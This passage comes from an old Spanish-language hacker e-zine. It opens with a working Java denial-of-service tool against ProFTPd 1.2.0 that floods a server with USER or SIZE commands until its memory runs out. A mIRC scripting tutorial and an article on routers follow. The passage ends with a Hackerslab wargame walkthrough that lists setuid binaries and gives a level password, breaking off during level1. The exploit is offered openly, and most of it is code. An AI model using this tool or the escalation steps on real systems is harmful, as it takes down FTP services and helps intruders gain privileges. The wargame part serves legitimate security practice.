Remote DoS in proFTPd
Code by: JeT-Li -The Wushu Master- jet_li_man@yahoo.com
Recently I posted a remote DoS for ProFTPd based in the multiple use
of the SIZE command in order to crash the system. Now and thanks to
the information provided by Wojciech Purczynski I have coded a
program that not only use the SIZE command but also the USER command.
So at this time access to the ftp is not necessary to manage a DoS
attack. The concept is equal to the last exploit one, but using
multiple USER instead of SIZE.
You don't have to give arguments when you execute the program, it
will request you these.
Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
the ppl of #hackers (not able for cardiac XD).
Vulnerable systems:
ProFTPd 1.2.0rc1 (Tested)
ProFTPd 1.2.0rc2 (Tested)
And maybe others(1.2.0preX); I have no test this, but I'm sure you
can do it for me ;-)
NOTE: 1.2.0pre10 seems to be vulnerable according to the words of
Wojciech Purczynski ... */
import java.net.*;
import java.io.*;
class TCPconnection {
public TCPconnection (String hostname, int portnumber) throws Exception {
Socket s = doaSocket(hostname, portnumber);
br = new BufferedReader (new InputStreamReader (s.getInputStream()));
ps = new PrintStream (s.getOutputStream());
}
public String readLine() throws Exception {
String s;
try { s = br.readLine(); }
catch (IOException ioe) {
System.out.println("TCP Error ... it's a little hax0r exception ;-)");
throw new Exception ("\nInput Error: I/O Error");
}
return s;
}
public void println(String s) {
ps.println(s);
}
private Socket doaSocket(String hostname, int portnumber) throws Exception { Socket s = null;
int attempts = 0;
while (s == null && attempts<maxattempts) {
try { s = new Socket(hostname, portnumber); }
catch (UnknownHostException uhe) {
System.err.println("It was no posible to establish the TCP connection.\n" +
"Reason: unknown hostname " + hostname + ". Here is the Exception:");
throw new Exception("\nConnection Error: " + "unknown hostname");
}
catch (IOException ioe) {
System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
}
attempts++;
}
if (s == null) throw new IOException("\nThe connection was not accomplished
due to an I/O Error: trying it again ...");
else return s; }
private final int maxattempts = 5;
private BufferedReader br;
private PrintStream ps;
}
class proftpDoS {
public static void main(String[] arg) throws Exception {
InputStreamReader isr;
BufferedReader tcld;
String hostnamez, username, password, file, s1, option, option1;
int i, j, k, m;
isr = new InputStreamReader(System.in);
tcld = new BufferedReader(isr);
System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-");
System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1");
System.out.println("1) Memory leakage using USER command");
System.out.println("2) Memory leakage using SIZE command");
System.out.print("Option: ");
option = tcld.readLine();
m = Integer.parseInt(option);
while (!(m==1 || m==2)) {
System.out.print("Option not valid, please try again: ");
option = tcld.readLine();
m = Integer.parseInt(option); }
if (m==1) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
if (k==1) {
for(i=0;i<15000;i++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
else if (m==2) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
username = "";
while (username.length()==0) {
System.out.print("Enter the username: ");
username = tcld.readLine(); }
password = "";
while (password.length()==0) {
System.out.print("Enter the password for that username: ");
password = tcld.readLine(); }
file = "";
while (file.length()==0) {
System.out.print("Enter a valid filename on the FTP \n(with correct path of
course ;-): ");
file = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
tc.println("user " + username);
tc.println("pass " + password);
if (k==1) {
for(i=0;i<10000;i++)
tc.println("size " + file); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("size " + file); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
}
}
<-->
-------------------------------------------------------------------------------
Hasta aqui nuestro primer "cortos"... Ya sabeis, si teneis un articulo podeis
mandarlo a 7a69ezine por pequeño que sea.
*EOF*
/----------------------------------------------------------------------------\
|-[ 12 ]----[ Curso de mIRC scripting ]----[ Bajo ]--------------------------|
\-------------------------------------------------------------------[ J4|0 ]-/
Hola, bienvenidos a este "curso de scripting" que pienso ir dando en varias
sesiones, todo de una vez igual os sienta mal :P
Bien, empecemos por lo mas facil.
Los Aliases.
~~~~~~~~~~~~
¿Que es un alias?
Un alias es un comando que puede hacer varias funciones, como llamar a otro
comandos, crear variables, borralas, etc..
Los alias en un addon van representados de la siguiente forma
alias Prueba {
"Contenido del alias
ordenes, etc"
}
Es decir, en un addon si queremos especificar que es un alias hemos de
escribir alias antes de el nombre del comando.
Esto no ocurre en los alias dentro del script, es decir en la seccion aliases.
Los aliases que van en esta seccion no necesitan especificar que lo son. En
los addons o similares si puesto que los addons se cargan siempre en los
remotes.
Bien vamos a ver como crear un alias.
Imaginemos que queremos un alias para cambiarnos de nick, y entrar en un canal.
Bien, imaginemos que queremos que al escribir /mijoin se cambie el nick por
J4|0 , entre al canal #scripting y ponga sus modos +i.
Si fuese para un addon seria
alias mijoin {
nick J4|0
mode $me +i
join #scripting
}
Y para un alias normal
mijoin {
nick J4|0
mode $me +i
join #scripting
}
y tu te podras preguntar .. porque no pone en cada comando el / delante ?
Bien esto es a gusto de cada uno, puedes ponerlo o no ponerlo, tambien si
quieres puedes poner un punto (.), Puesto que lo va a reconocer.
La palabra $me es un identificador y como su nombre dice es facil averiguar
para que es. Este identificador devuelve tu nick actual por eso el comando es
mode $me +i, tambien podrias poner mode J4|0 +i, pero si el nick estuviese
ocupado te daria la tipica frase de que no puedes cambiar el modo de otros
usarios.
Has de tener en cuenta que el alias tambien puede ser creado sin llaves, con
el simbolo | ( Alt Gr + 1 ) es decir, en una sola linea el alias quedaria
asi:
/mijoin /nick J4|0 | mode $me +i | join #scripting
Tambien puedes crear un alias en el que le puedas especificar el nick, el
canal , y el modo que quieras. Seria asi
mijoin {
nick $1
join $2
mode $1 $3
}
con esto si escribes /mijoin J4|0 #pepito_grillo +wi te cambiaras el nick
por J4|0, entraras en el canal #pepito_grillo, y te cambiaras los modos +wi
los Identificadores $(numero) es para identificar una palabra, en este caso $1
es la primera palabra despues del comando, el nick, $2 es el canal , en este
caso #pepito_grillo, y $3 son los modos que pueden ser +modo o -modo en este
caso +iw
Tambien puedes usar un alias para cambiar de nick y avisar antes de ello por ej
newnick {
set %newnick $$?="Escribe el nick"
me me voy a cambiar el nick por %newnick
nick %newnick
unset %newnick
}
este alias lo que hace es que cuando lo ejecutes te salga un cuadro de texto
para introducir el nick y lo mete en una variable llamada %newnick, luego da
un mensaje a todos los canales donde estes de que te vas a cambiar el nick por
el que hayas introducido en la variable, luego se cambia el nick por ellay por
ultimo borra la variable.
Tambien podemos crear alias para pulsar teclas.
Es el caso de los F1, F2, etc.. y los Ctrl + F1, Ctrl + F2, etc..
Para ello habrias de poner
F1 {
"Aqui introducirias la accion
para la tecla F1"
}
Eso seria para los F
Para los Ctrl + F
seria
cF2 {
"Aqui introducirias la accion
para la tecla CTRL + F2"
}
La creacion de aliases es una de las cosas mas faciles que se pueden hacer,
aunque para ello es recomendable, no solo saber los comandos del mirc, o su
mayoria, si no tambien conocer los remotos y sobre todo los identificadores
secuencias if y elseif, etc...
Bien, una vez visto los aliases que es de lo mas facil vamos a ver otra cosa
bastante facilita, las variables.
Las variables
Las variables es una de las cosas mas importantes en el mundo de la
programacion del scripting. En los aliases hemos visto en uno de los ejemplos
el uso de estas variables.
Estas siempre han de ir precedidas de el simbolo %
Para aclararnos setear una variable (para mi) es darle un valor.
Si nosotros queremos setear una variable exista o no exista, debemos scribir
esto. /set %variable Valor, donde valor representa el contenido de esta.
Por ej: /set %mi J4|0
Crearia una variable con el valor J4|0
Las variables pueden tener distintos nombres, por ej una variable puede ser
llamada %var.de con punto, esto suele ser utilizado por ej en un sistema
de away. Seria muy util, si quieres tener en varias variables, la razon del
away, si el page esta on, si el log idem, el tiempo, etc.. puedes crearlas de
este tipo %away.razon, %away.page, %away.log, %away.time, lo que si te da por
ordenar las var por orden alfabetico te ahorrara mucho tiempo para buscarlas,
debido a que empiezan por el mismo nombre.
Tambien se pueden setear variables con el contenido de otra. Por ej:
/set %temp %mi.nick
Con esto lo que haras es setear la variable %temp con el contenido de la
variable %mi.nick. Tambien se puede hacer una varaible con el contenido de
esa misma mas otro valor. Por ej:
Quieres hacer un remoto en que se metan en una variable todos los nicks
que digan Hi en el canal #scripting . Seria lo siguiente:
on *:text:Hi:#Scripting: {
set %nick.scripting %nick.scripting $nick
}
Esta función suele ser muy utilizada por ej en un sistema de votaciones en el
cual quieres saber los nicks que voten.
Con las variables por ej tambien se pueden utilizar para realizar operaciones
sencillas. Este seria un ej de un alias para realizar una suma.
suma {
set %val1 $$?="Escribe el primer valor"
set %val2 $$?="Escribe el segundo valor"
set %val %val1 + %val2
echo -a Resultado de la suma de %val1 + %val2 = %val
unset %val*
}
Lo que hace este alias es meter los 2 valores de la suma en %val1 y %val2
respectivamente y crear una nueva variable %val cin el resultado de dicha suma.
Estos son los usos que se pueden hacer con las variables en operaciones
aritmeticas sencillas:
Suma --> %Resultado = %val1 + %val2
Resta --> %Resultado = %val1 - %val2
Multiplicacion --> %Resultado = %val1 * %val2
Division --> %Resultado = %val1 / %val2
Potencia --> %Resultado = %val1 ^ %val2
Modulo (Resto de la division de %val1 entre %val2) --> %Resultado = %val1 % %val2
Las operaciones realizadas con las variables no solo tienen porque ser con
estas, se pueden usar identificadores. Ej:
En el alias de la suma anterior usabamos cuadros para meter el valor pero
podemos meter el valor directamente despues del comando. El alias seria este:
suma {
set %val $1 + $2
echo -a Resultado de la suma de $1 + $2 = %val
unset %val
}
de modo que si escribes /suma 2 5 se realizara la operacion 2 + 5
directamente, sin cuadros de dialogo por el medio.
Este tipo de operaciones suelen ser muy utiles para diversas funciones en los
script. Aunque para realizar operaciones mas complicadas es recomendable
usar el identificador $calc .
Otro tipo de uso de los variables muy uyil y utilizado son los comandos inc y
dec . Si no sabes mucho de este tema o estsa empezando habras podido observar
que en algunos scripts te traen el numero de veces que has arrancado el
script, un historial con las veces que has dado op, que te la han quitado,
etc...
Pues bien este tipo de acciones de realizan con los comandos inc y dec. La
sintaxis es la siguiente
inc <%variable> [Valor] o inc <%variable> [%valor]
Que quiere decir esto? Bien imaginate que has hecho un script y quieres poner
las veces que el user arranca el script pues deberias poner en los remotes
on *:start: {
inc %mi.script 1
}
Con esto lo que haras es añadir al valor actual de %mi.script uno mas, es
decir si el valor era 5 con esta accion aunmentara a 6 para usar inc
<%variable> [%valor] es lo mismo solo que a la variable %variable se le añade
el valor de %valor, es decir si tenemos este remote
on *:Start: {
inc %mi.script %mi.op
}
Si el valor %mi.script vale 10 y %mi.op vale 50 el valor de %mi.script se
quedara en 60 Facil no ? :P
El comando dec es la misma sintaxis solo que en vez de aumentar disminuye :)
Para quitar el valor a una variable se usa el comando unset, si quieres quitar
una variables has de poner /unset %variable .
Para quitar el valor a varias variables que empiecen por el mismo nombre, por
ej todas las variables que empiecen por %mivar .Has de poner /unset %mivar*
con lo que quitaras el valor de todas las variables que empiecen por %mivar.
Por ultimo para quitar el valor a todas las variables se usa el comando
/unsetall
Bien, bien , hasta aqui este pequeño capitulo de Scripting , espero poner algo
mas para el proximo numero.
Para algun tipo de comentarios Jalo33@hotmail.com
O puedes encontrarme en el servidor de Terra ( irc.terra.es ) canal #scripting
y por ultimo or si te interesa bajarte "mi script" o simplemente visitar mi web
http://www.Hackrush.com-1.net
/----------------------------------------------------------------------------\
|-[ 13 ]----[ Routers ]----[ Bajo/Medio ]----- ------------------------------|
\----------------------------------------------------------------[ [SnAkE] ]-/
Bueno he de deciros que este es el segundo texto que escribo. asi que
perdonad si no esta todo lo bien expresado que deberia. Asi debo advertiros
que el fin de este txt no es el de aportaros muchos mas conocimientos de lo
que podais tener en un primer momento, sino que lo que intento es que lo
entendais mejor, aunque he intentado profundizar en el tema y dado que mis
conocimientos no son los suficientes para ello, he intentado buscar info
adicional. Todo ello sin fortuna, ya que lo unico que he llegado a encontrar
han sido algun txt en la pagina de E-N-G el cual al igual que este txt es muy
superficial, tambien en consultado la pagina de IBM, 3com, Zyxel y en todas
ellas no he encontrado nada interesante que me pudiera ayudar en gran medida,
eso si podeis encontrar todas las caracteristicas de sus productos. Bueno
basta ya de tanto parloteo y vamos ya al grano.
La funcion con la cual fue diseñado el router, fue la de segmentar una
red (limitando trafico broadcast), asi mismo tambien proporciona funciones de
firewall. Asi para desempeñar estas funciones el router en principio crea unas
tablas de ruteo para cada capa de protocolo de red. El router realiza un envio
inteligente de paquetes utilizando estas tablas de ruteo en donde se
encuentran todas las rutas disponibles, para aquel que no lo sepa un envio...
significa en este caso que el router seleciona la mejor ruta a seguir,
influyendo en esta decision varios factores entre los que podemos citar la
velocidad de la linea....... Estas tablas de ruteo se realizan en los
protocolos TCP/IP, que como sabreis son dos capas distintas de las 4 que
forman la arquitectura tcp/ip de INTERNET, siendo el modelo ISO destinado a la
interconexion de sistemas abiertos (OSI) en el cual son la 2 y 3 capa.
Los router son muy comunes, por ejemplo en algunos de esos CYBERS en los que
muchos seguramente estareis conectados mientras leeis este documento, existe
una red montada por un nº X de ordenadore los cuales disponen de una tarjeta
de red (10/100 por ejemplo), mediante las cuales estos entan unidos al Hub (10
o 100 en este caso), en el cual tambien encontraremos conectado nuestro
router, estos ordenadores estan formando lo que se llama una red local, en
donde a cada uno de ellos les pertenece una direccion IP. El router hace de
puente entre esta red local y una red remota que en este caso es INTERNET, asi
cuando uno de estos ordenadores manda una serie de datos desdes esta maquina 1
asta otra maquina 2 de la red remota, los datos tienen que pasar por el router
tanto a su salida como a su llegada, aqui el router utiliza lo que se llama
masquerading(enmascaramiento) asi todos los paketes que salen de esta red
local, cambian su encabezamiento por el del router (ya que este es el que da
soporte a la conexion remota), saliendo todos por la ip del router a INTERNET
pero a su vez ellos piensan que tienen una conexion normal desde su ip a la
remota. Una vez encendido el router este controla tb la red interna. Si no
dispusieramos del router seria imposible que los ordenadores de la red
dispusieran de axceso a la red remota, en muchas ocasiones en casas
particulares en donde no se dispone de una cantidad de dinero para disponer de
un router, se utiliza software como Proxy, winroute o simplemente u linux para
que haga esta funcion. El envio de los paketes por parte del router han de
realizarse de la forma mas sencilla, es decir de manera que los saltos que
tenga que dar sean los menos posibles, si el numero de saltos es demasiado
amplio este pakete de datos se pierde por decirlo asi, entendamos numero de
saltos como el numero de veces que el pakete ha sido rutado, es decir el
numero de routers por los que ha pasado el pakete. En esta seleccion de la
ruta intervienen:
-RIP(routing information protocol): Del cual podemos decir que es un IGP
desarrollado posteriormente del GGP y que
se basa en el vector/distancia. Asi si un
router conoce una variedad de rutas para
llegar a su destino, designa un coste a la
ruta en funcion de los saltos de routers
que debe realizar. Asi cada cierto tiempo
envia un mensaje con su tabla de
direccionamiento a los demas que actualizan
sus tablas con los datos recibidos.
-OSPF(open shortesd path first): Es unos de los protoclos IGP mas recientes.
Este es mas sofisticado que el anterior. En
donde las rutas se basan por el tipo de
servicio, la distancia, nivel de carga, ect..
En el OSPF existen 5 tipos de mensajes:
* EL utilizado para compobar la ascesibilidad
* Descripcion de base de datos
* Solicitud del estado del enlace
* Actualizacion del estado del enlace
* Reconocimiento del estado del enlace
-EGP(exterior gataways protocol): Un dominio de direccionamiento es un grupo de
redireccionadores que usan un IGP(Internal
Gateways Protocol) comun. Asi para reducir el
volumen de informacion intercambiado se basa
en que un dominio de redireccionmiento
utilice un router (Gateways) seleccionado
para comunicar informacion de
direccionamiento con los routers (Gateways)
seleccionados de otros dominios. El router
(Gateways) seleccionado se considera como un
router (Gateways) exterior, y el protocolo
usado entre Routers (Gateways) exteriores es
el EGP. El protocolo EGP se compone de tres
partes:
* Neighbor Adquisition Protocol
* Neighbor Reachability Protocol (NR)
* Network Reachability Determination
El Neighbor Adquisition Protocol se utiliza
para establecer comunicacion. Consta de una
solicitud y una respuesta.
El Neighbor Reachability Protocol esta basado
en un mensaje "Hello" (comando), y una
respuesta "I heard you". Se utiliza para
saber si la comunicacion continua.
El mensaje Network Reachability se usa para
comprobar si el siguiente "vecino" es un
camino valido para llegar a un destino
particular.
EL principal inconveniente del protocolo EGP
es que crea una estructura en forma de arbol,
es decir que si hay problemas en Internet,
los routers (Gateways) solo saben que hay
problemas en el (Gateways) exterior.
-BGP(Border Gateways Protocol): Debido al problema del anterior se diseño el
protocolo BGP.
El protocolo BGP es un protocolo interno de
sistema autonomo. Un sistema autonomo puede
contener multiples dominios de
direccionamiento, cada uno con su propio
protocolo interno de sistema autonomo, o IGP.
Dentro de cada sistema autonomo pueden haber
varios routers (Gateways) que se pueden
comunicar con los routers (Gateways) de otros
sistemas. Tambien se puede elegir un router
(Gateways) para lograr un informe de la
informacion de direccionamiento para el
sistema autonomo. En cualquier caso, un
sistema autonomo aparece ante otro sistema
autonomo como un direccionador consistente.
Esto elimina la estructura de arbol del
protocolo EGP.
-GGP (Gateways-to-Gateways Protocol): Los primeros routers (Gateways) de
internet utilizaban un IGP llamado
router(Gateways)-to-router(Gateways)
Protocol, que fue el primer IGP utilizado. Usando GGP cada Gateways manda un mensaje
a todos los otros routers (Gateways) de
su grupo autonomo que contiene una tabla
con las direcciones que el Gateways ha
direccionado, con su vector de distancia
asociado.
Asta aqui podemos decir que ha quedado explicado lo que es el ruteo, a
continuacion os explicare mas o menos las demas caracteristicas de las que
consta un router, como por ejemplo la opcion de Firewall, supongo que como
minimo hallais utilizado y configurado en cierta medida al menos el Conseal,
bueno pues esto tiene un parecido. El routers puede activar una serie de
filtros, en en los cuales a semejanza de firewall (conseal) puede deshabilitar
diversos servicios. Como todo firewall su eficacia no solo depende de la
calidad de este si no tambien de los conocimientos de su administrador, cosa
que creo que todos sabemos. Tambien conviene que sepais que los servicios que
se pueden deshabilitar no son iguales en todos, como por ejemplo en los intel
(no he comprobado si en todos) se puede deshabilitar el acceso remoto,
sinembargo en un zyxel creo que no (aunque no estoy totalmente seguro). Creo
que con esto he terminado este txt, espero que os haya gustado, aunque como ya
mencione al principio no es gran cosa.... xD. Para mas informacion
http://www.cisco.com
By [SnAkE] -*CiBahHaCk*-
*EOF*
/----------------------------------------------------------------------------\
|-[ 14 ]----[ Hackerslab; juego en familia ]----[ Alto/Muy Alto ]------------|
\------------------------------------------------------------------[ Jafar ]-/
****************************************
* LAS AVENTURAS DE JAFAR EN HACKERSLAB *
****************************************
Muy buenas en principio este documento lo hice con la unica idea de guardar mis
progresos a medida que iba haciendo el juego de hacking llamado hackerslab,
para que asi me sirviera de recordatorio o de guia de los problemas que
encontre durante el recorrido por los niveles.
Pero un dia Ripe me comento el por que no usar esta informacion como guia para
personas que quisieran hacerse el juego, y no quisiera atormentar con preguntas
a los demas que por regla general siempre suelen estar muy ocupados, jejejeje.
Bueno, espero que al menos ya sepais quien soy, soy Jafar estoy encantado de
conoceros y espero que estas lineas os sirvan de algo para lo que en cuestion
de seguridad en sitemas pueda ayudar. Asi que vamos al turron, seguro que
estais ya hasta el gorro de leer la dichosa introduccion.
Hacerse de una cuenta en Hackerslab
-----------------------------------
En principio para jugar en hackerslab es necesario hacerse de una cuenta con su
login y su pass, el porque es facil, tienen que tener al menos un nick y un
pass para que a medida que vais progresando, ellos vayan guardando vuestro
nivel y asi poderos dar las pruebas segun el nivel. Para ello visitar ya
www.hackerslab.org y haceros de una cuenta, si no que haceis leyendo este
documento.
Lo segundo es darle a la opcion Free hacking Zone que es donde esta todo el
cotarro de registrarse y ver las distintas pruebas a pasar. Ah si, se me
olvidaba, si quereis podeis pinchar primero ¿who are we? y verle las caritas a
los simpaticos koreanos que elaboraron este juego :)
Pues eso, una vez le demos a esa opcion elegimos Registratrion y.............
¿Como me hago la cuenta?
------------------------
Pues mu facil, si yo que no tengo ni idea de ingles fui capaz de hacerlo
vosotros tambien podreis, pero bueno os dire rapidamente los pasos.
Primero cargais la pagina principal que es muy cutre y elegis el idioma, os
recomiendo el ingles a no ser que sepais chino, japones o koreano, jajajaja,
¿que esperabais un servidor koreano con la posibilidad de elegir el idioma
español? jejeje. Lo segundo es facil, dale a la casilla Registration para
empezar el proceso de meter los odiosos datos de registro, aunque si os fijais
tienen una buena guia grafica del como hacerlo.
Pues manos a la obra, nos sale un formulario y a rellenarlo toca, meted entre
otras cosas lo que os de la gana, y a lo maximo un correo que tengais acceso y
que no sea el vuestro real jejeje, no es por nada, pero vete a saber pa que
querran ellos el mail :)
<Ripe: que sepais que mentir es malo>
Pues na, poned un ID y comprobar si no esta registrao y un pass que recordeis y
rellenar en lo demas lo que os venga en ganas.
Cuando termineis correctamente pues os saldra register done y ya tendreis la
cuenta lista para usar.
¿Como funciona esto?
--------------------
Bueno ni que preguntaros que ya teneis la dichosa cuenta, si no pues empieza a
leer gachon, que la prisa es mala consejera.
El sistema de funcionamiento es facil, para empezar pinchamos la opccion View
Problems y alli nos dira cual es el problema segun el nivel en el que estemos.
Lo leemos bien, y para el que como yo no tenga idea de ingles que use por
ejemplo el traductor del www.altavista.com que aunque traduce en indio nos
servira para orientarnos en el problema.
Cuando tengamos claro cual es el problema pues listo, usamos el telnet y nos
metemos de lleno en el servidor koreano pa buscar entre sus tripas el fallo del
sistema y conseguir el password al siguiente nivel.
Una vez conseguido el password, pues lo introduciremos en la casilla de abajo
del todo de la web donde hemos visto el problema en si, y si tenemos suerte,
pues nos dira el tan esperado mensaje Congratulations level up, y a partir de
ahi si volvemos a pinchar en View Problems ya nos atendera como un usuario de
un nivel superior y asi pasar a los siguientes levels.
¿Vamos a la carga? pues ale a jugar
------------------------------------
Pues listos, arrancamos nuestro telnet, ya sea del cutre windows o del preciado
linux (espero que tengais un linux funcionando al 100% porque sino a ver como
vais a pasar los dichosos niveles sin poder compilar ni probar las rutinas que
hagais XDDDDDDDDDD) y apuntais a la direccion drill.hackerslab.org
Una tonteria pero no tan tonta es deciros que la entrada al level0 se hace como
login level0 y password: guest, parece una tonteria, pero el password al level0
no aparece por ningun lado, al menos a mi me lo tuvieron que decir porque en la
web no aparecia por ningun lado, jajajaja.
<Ripe: te lo dije yo sino recuerdo :) Bueno, de
todos modos *SI* que aparece en la web.
Mirad bien>
************************* LEETE ESTO ANTES DE EMPEZAR **************************
Ojo aqui te lo pongo todo a webo, asi que si realmente te quieres sentir bien y
aprender, usa tan solo la informacion que necesites en su justa medida, por que
si te vicias el final terminaras mirando las passwords de todos los niveles
para pasarte el juego y querer faldar despues con los colegas, pero tan solo
conseguiras ser un penoso lamer que ademas de no poder explicar a nadie como te
pasaste los niveles, siempre te quedara la conciencia que te dira que realmente
no hiciste el juego tu solo, cosa que te atormentara durante toda tu vida
cuando escuches hackerslab, XDDDDD
********************************************************************************
**************************
* ¿Como hacer el level0? *
**************************
PRUEBA 1
Texto orginal:
It's a good thing that someone was nice enough to install a backdoor. Your task
is to use this backdoor to get to the next level. First, telnet to
drill.hackerslab.org.
HINT: Check device drivers.
Texto Traducido:
En pocas palabras por que esto hasta yo lo entendi quiere decir que alguien ha
instalado una backdoor en la maquina y hay que encontrarla para usarla y asi
pasar al nivel siguiente. Para ello te dice que busquemos dicha backdoor.
telnet drill.hackerslab.org
login:level0
pass: guest
Pues empezamos, para el que no lo sepa una backdoor es algo asi como una puerta
trasera, osea un programa que alguien hace cuando esta en un nivel determinado,
en este caso en el level1 y que sirve para que aquel que ejecute este programa
aun no siendo level1 pase a tener privilegios de ese nivel.
Os puedo decir que en gran parte de los niveles encontrareis la necesidad de
buscar programas con suid, osea programas que mientras se ejecutan tienen
privilegios de nivel superior, y eso es lo que tenemos que aprovechar, usar
esos programas para en medio de su ejecucion arrancar otras aplicaciones o
abrirnos una shell nueva y poder usar esos privilegios.
<Ripe: Bueno me gustaria matizar que con los suid
no se ganan privilegios, sino que se
modifican. Con esto quiero decir que
ejecutar suid != ganar mas privilegios>
Pues dicho esto vamos a buscar el programa con suid que alguien dejo para
nosotros, :))))
Para ello usaremos nuestra arma numero 1 osea, el find, que sirve basicamente
para buscar ficheros con determinadas caracteristicas, nombre, permisos etc...
Si quereis dominarlo o saber mas sobre el, pues teclea man find y aprende algo.
[level0@drill level0]$ find / -perm +4000 2>/dev/null
./dev/.hi
./etc/bof
./tmp/sh
./bin/su
./home/nobody/.ssh2/.nobody
./home/nobody/.Xsegments
./lib/security/pam_auth.so
./usr/bin/passwd
./usr/bin/amos
./usr/bin/alert
./usr/bin/ps2
./usr/games/trojka
./usr/local/bin/hof
./usr/man/pt_BR/man8/today
./usr/sbin/sendmail
./usr/libexec/pt_chown
Bueno, ya sabemos algo, estos programas tienen suid, pero no nos dice mucho de
ellos al respecto asi que vamos a buscarlo con mas detalles, en este caso
usaremos ls que sirve para enseñar los ficheros y directorios con mas detalle,
pero usandolo con el find a la vez asi veremos en detalle los ficheros que find
encuentre para nosotros.
[level0@drill level0]$ ls -l `find / -perm +4000 2>/dev/null`
-rwsr-x--- 1 root wheel 13208 Apr 14 1999 /bin/su
-rwsr-x--- 1 level1 level0 12900 Dec 5 19:08 /dev/.hi
-rws--x--- 1 level10 level9 921107 Aug 12 1999 /etc/bof
-rwsr-xr-x 1 nobody nobody 310640 Nov 1 03:04 /home/nobody/.Xsegments
-rwsr-xr-x 1 nobody level1 310640 Dec 29 06:50 /home/nobody/.ssh2/.nobody
-rwsr-x--- 1 level6 level5 13742 Aug 10 1999 /lib/security/pam_auth.so
-rwsr-xr-x 1 level3 level3 310640 Dec 29 07:46 /tmp/sh
-rws--x--- 1 level3 level2 12873 Aug 10 1999 /usr/bin/alert
-rwsr-x--- 1 level2 level1 13423 Apr 6 2000 /usr/bin/amos
-rwsr-x--- 1 root users 10704 Apr 15 1999 /usr/bin/passwd
-rws--x--- 1 level9 level8 933937 Aug 12 1999 /usr/bin/ps2
-rwsr-x--- 1 level5 level4 30350 Aug 10 1999 /usr/games/trojka
-rwsr-xr-x 1 root root 34751 Sep 6 01:02 /usr/libexec/pt_chown
-rws--x--- 1 level12 level11 924592 Aug 12 1999 /usr/local/bin/hof
-rws--x--- 1 level4 level3 13245 Aug 10 1999 /usr/man/pt_BR/man8/today
-rwsr-sr-x 1 root mail 365980 Nov 29 15:25 /usr/sbin/sendmail
<Ripe: Se consiguen mejores resultados con
find / -perm +4000 -user level1 -group level0 -exec ls -l {} \;
teniendo en cuenta que buscamos un suid
que nos haga level1 que nosotros (level0)
podamos ejecutar>
<Ripe: Aun que si haceis lo que dice Jafar
podeis guardar la lista de suids para
usarla mas adelante :)>
Ahora ya es otra cosa mariposa, tenemos practicamente todos los ficheros con
suid, y la gran mayoria tendremos que petarlos o usarlos para conseguir el pass
del level siguiente.
En este caso tan solo nos fijaremos en /bin/.hi que es el programa que
buscabamos.
Si os fijais tiene suid y ademas lo puede ejecutar un level0 y tiene
privilegios para level1. Pues na, a que esperais, ejecutadlo.
Una vez lo ejecuteis podeis haceros un whoami o un id para ver que nivel de
privilegios teneis.
[level0@drill level0]$ /dev/.hi
[level0@drill level0]$ whoami
level1
Como veis el server ya os toma como un level1 y eso porque teneis sus
privilegios, si no ejecutar id y mirar que aun siendo level0 teneis el uid de
level1.
Pues listo, ahora tan solo queda arrancar una aplicion llamada pass, la cual da
el password del level en curso, que al ejecutarlo sabreis el password del
level1 y asi podreis poner ya vuestra primera solucion en la web de
hackerslab.
[level0@drill level0]$ pass
Alehop el password para el level1 es newworld
**************************
* ¿Como hacer el level1? *
**************************
PRUEBA 2
telnet drill.hackerslab.org
login:level1
pass: newworld
Texto original:
A computer student named Matthew is doing his C-programming homework. His
teacher wanted him to create a program/script that if he types in a path name
the program gives him what type of file/drectory it is. He was able to get it
easily by using the `file` utility in the Unix-based commands. However, the
flaw lies in this solution. Use this flaw and go on to the next level. HINT-One
of 12 books known as the Minor prophets
Texto traducido:
Un estudiante de ordenador nombrado Matthew está haciendo su preparación
C-c-programming. Su profesor quisiera que él creara un program/script que si él
pulsa adentro un nombre del camino el programa lo da qué tipo de file/drectory
es. Él podía conseguirlo fácilmente usando el utilitario del `file` en los
comandos Unix-unix-based. Sin embargo, el defecto miente en esta solución.
Utilice este defecto y continúe al nivel siguiente. HINT-One de 12 libros
conocidos como de menor importancia los profetas.
En este caso pasa como en el anterior level, el problema es un programa que
alguien hizo y el cual nosotros tendremos que intentar aprovechar para pasar al
level siguiente.
Asi que como ya antes hicimos el find y vimos los diferentes ficheros con suid,
vamos a fijarnos en uno en concreto.
